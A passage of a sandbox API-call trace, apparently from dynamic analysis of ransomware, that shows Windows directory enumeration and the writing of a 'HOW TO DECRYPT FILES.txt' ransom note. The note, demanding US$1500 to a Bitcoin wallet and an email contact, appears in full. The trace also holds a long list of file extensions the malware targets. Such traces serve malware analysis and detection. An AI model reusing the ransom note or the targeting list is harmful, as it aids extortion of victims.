nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.667] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.667] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.667] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69af5d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69af5d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69af5d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0098.667] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.667] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.667] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\*.*") returned="*.*" [0098.667] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\", lpString2="9.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a" [0098.667] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned 108 [0098.667] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69af5d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69af5d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69af5d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0098.668] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.668] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69af5d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69af5d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69af5d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.668] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.668] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.668] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69af5d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69af5d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b1be90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.668] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0098.668] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned -1 [0098.668] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned -1 [0098.669] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned -1 [0098.669] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0098.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" [0098.669] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="" [0098.669] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0098.669] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.addinadapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0098.669] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.addinadapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0098.715] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0098.715] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0098.716] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.717] CloseHandle (hObject=0x90) returned 1 [0098.717] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll" [0098.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.ems") returned 0 [0098.717] lstrlenA (lpString="*.ems") returned 5 [0098.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.db") returned 0 [0098.717] lstrlenA (lpString="*.db") returned 4 [0098.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.dbf") returned 0 [0098.717] lstrlenA (lpString="*.dbf") returned 5 [0098.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.myox") returned 0 [0098.717] lstrlenA (lpString="*.myox") returned 6 [0098.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.myo") returned 0 [0098.717] lstrlenA (lpString="*.myo") returned 5 [0098.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qbw") returned 0 [0098.717] lstrlenA (lpString="*.qbw") returned 5 [0098.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qbb") returned 0 [0098.717] lstrlenA (lpString="*.qbb") returned 5 [0098.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qbm") returned 0 [0098.717] lstrlenA (lpString="*.qbm") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qbo") returned 0 [0098.718] lstrlenA (lpString="*.qbo") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qbx") returned 0 [0098.718] lstrlenA (lpString="*.qbx") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qba") returned 0 [0098.718] lstrlenA (lpString="*.qba") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qby") returned 0 [0098.718] lstrlenA (lpString="*.qby") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qbj") returned 0 [0098.718] lstrlenA (lpString="*.qbj") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.ofx") returned 0 [0098.718] lstrlenA (lpString="*.ofx") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.qif") returned 0 [0098.718] lstrlenA (lpString="*.qif") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.mye") returned 0 [0098.718] lstrlenA (lpString="*.mye") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.mbox") returned 0 [0098.718] lstrlenA (lpString="*.mbox") returned 6 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.eml") returned 0 [0098.718] lstrlenA (lpString="*.eml") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.pst") returned 0 [0098.718] lstrlenA (lpString="*.pst") returned 5 [0098.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.ost") returned 0 [0098.718] lstrlenA (lpString="*.ost") returned 5 [0098.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.idx") returned 0 [0098.724] lstrlenA (lpString="*.idx") returned 5 [0098.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.dbx") returned 0 [0098.724] lstrlenA (lpString="*.dbx") returned 5 [0098.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.sql") returned 0 [0098.724] lstrlenA (lpString="*.sql") returned 5 [0098.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.mdb") returned 0 [0098.724] lstrlenA (lpString="*.mdb") returned 5 [0098.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.fdb") returned 0 [0098.725] lstrlenA (lpString="*.fdb") returned 5 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.wab") returned 0 [0098.725] lstrlenA (lpString="*.wab") returned 5 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.dat") returned 0 [0098.725] lstrlenA (lpString="*.dat") returned 5 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.txt") returned 0 [0098.725] lstrlenA (lpString="*.txt") returned 5 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.jpeg") returned 0 [0098.725] lstrlenA (lpString="*.jpeg") returned 6 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.jpg") returned 0 [0098.725] lstrlenA (lpString="*.jpg") returned 5 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.png") returned 0 [0098.725] lstrlenA (lpString="*.png") returned 5 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.php") returned 0 [0098.725] lstrlenA (lpString="*.php") returned 5 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.cs") returned 0 [0098.725] lstrlenA (lpString="*.cs") returned 4 [0098.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.cpp") returned 0 [0098.725] lstrlenA (lpString="*.cpp") returned 5 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.rar") returned 0 [0098.726] lstrlenA (lpString="*.rar") returned 5 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.zip") returned 0 [0098.726] lstrlenA (lpString="*.zip") returned 5 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.html") returned 0 [0098.726] lstrlenA (lpString="*.html") returned 6 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.htm") returned 0 [0098.726] lstrlenA (lpString="*.htm") returned 5 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.xlsx") returned 0 [0098.726] lstrlenA (lpString="*.xlsx") returned 6 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.xls") returned 0 [0098.726] lstrlenA (lpString="*.xls") returned 5 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.mp4") returned 0 [0098.726] lstrlenA (lpString="*.mp4") returned 5 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.ppt") returned 0 [0098.726] lstrlenA (lpString="*.ppt") returned 5 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.pptx") returned 0 [0098.726] lstrlenA (lpString="*.pptx") returned 6 [0098.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.doc") returned 0 [0098.726] lstrlenA (lpString="*.doc") returned 5 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.dot") returned 0 [0098.727] lstrlenA (lpString="*.dot") returned 5 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.docx") returned 0 [0098.727] lstrlenA (lpString="*.docx") returned 6 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.7z") returned 0 [0098.727] lstrlenA (lpString="*.7z") returned 4 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.tar") returned 0 [0098.727] lstrlenA (lpString="*.tar") returned 5 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.bz2") returned 0 [0098.727] lstrlenA (lpString="*.bz2") returned 5 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.gz") returned 0 [0098.727] lstrlenA (lpString="*.gz") returned 4 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.mkv") returned 0 [0098.727] lstrlenA (lpString="*.mkv") returned 5 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.eml") returned 0 [0098.727] lstrlenA (lpString="*.eml") returned 5 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.msg") returned 0 [0098.727] lstrlenA (lpString="*.msg") returned 5 [0098.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.edb") returned 0 [0098.728] lstrlenA (lpString="*.edb") returned 5 [0098.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.accdb") returned 0 [0098.728] lstrlenA (lpString="*.accdb") returned 7 